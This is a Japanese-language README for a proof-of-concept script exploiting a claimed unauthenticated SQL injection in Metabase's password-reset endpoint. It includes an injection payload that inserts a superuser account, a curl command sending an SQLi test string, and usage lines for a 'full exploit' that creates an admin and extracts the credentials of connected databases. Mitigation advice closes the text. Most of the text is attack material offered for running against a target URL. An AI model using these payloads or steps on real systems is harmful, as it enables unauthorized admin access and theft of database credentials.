Metabase SQLインジェクションRCE

Metabaseの/api/session/reset_passwordエンドポイントにおける未認証SQLインジェクション。管理者アカウントを作成し、データベースの認証情報を抽出します。

影響を受けるバージョン: v58.0 - v63.3 | 修正済み: v58.24+、v59.21+、v60.17+、v61.11+、v62.9+、v63.5+

---

クイックスタート

pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check

脆弱性

SQLクエリにおける文字列連結:

# 脆弱なコード
query = f"SELECT * FROM core_user WHERE email='{email}'"

攻撃ペイロード:

'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --

使用方法

チェックのみ (変更なし):

python3 CVE-2026-72898.py http://localhost:5000 --check

完全なエクスプロイト:

python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!

手動テスト:

# エンドポイントの確認
curl http://localhost:5000/api/health

# SQLiのテスト
curl -X POST http://localhost:5000/api/session/reset_password \
  -H "Content-Type: application/json" \
  -d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'

動作内容

1. Metabaseインスタンスを検出 (ブールベースSQLi)
2. SQLインジェクションにより管理者ユーザーを作成
3. 新しい管理者で認証
4. 接続されているデータベースの認証情報を抽出
5. システム全体の侵害を検証

影響

• 未認証での管理者アクセス
• データベース認証情報の抽出
• 接続データベースの侵害
• アプリケーション全体の制御

緩和策

今すぐ:

• 修正済みバージョンにアップグレード
• WAFで/api/session/reset_passwordをブロック
• 不正に追加された管理者アカウントを監査
• すべてのデータベース認証情報をローテーション

後で:

• パラメータ化クエリを使用
• 入力検証を追加
• すべての機密エンドポイントに認証を実装
• SQLクエリログを有効化

リンク

• GitHub Advisory
• NVD CVE Entry

---

許可された使用のみ。不正アクセスは違法です。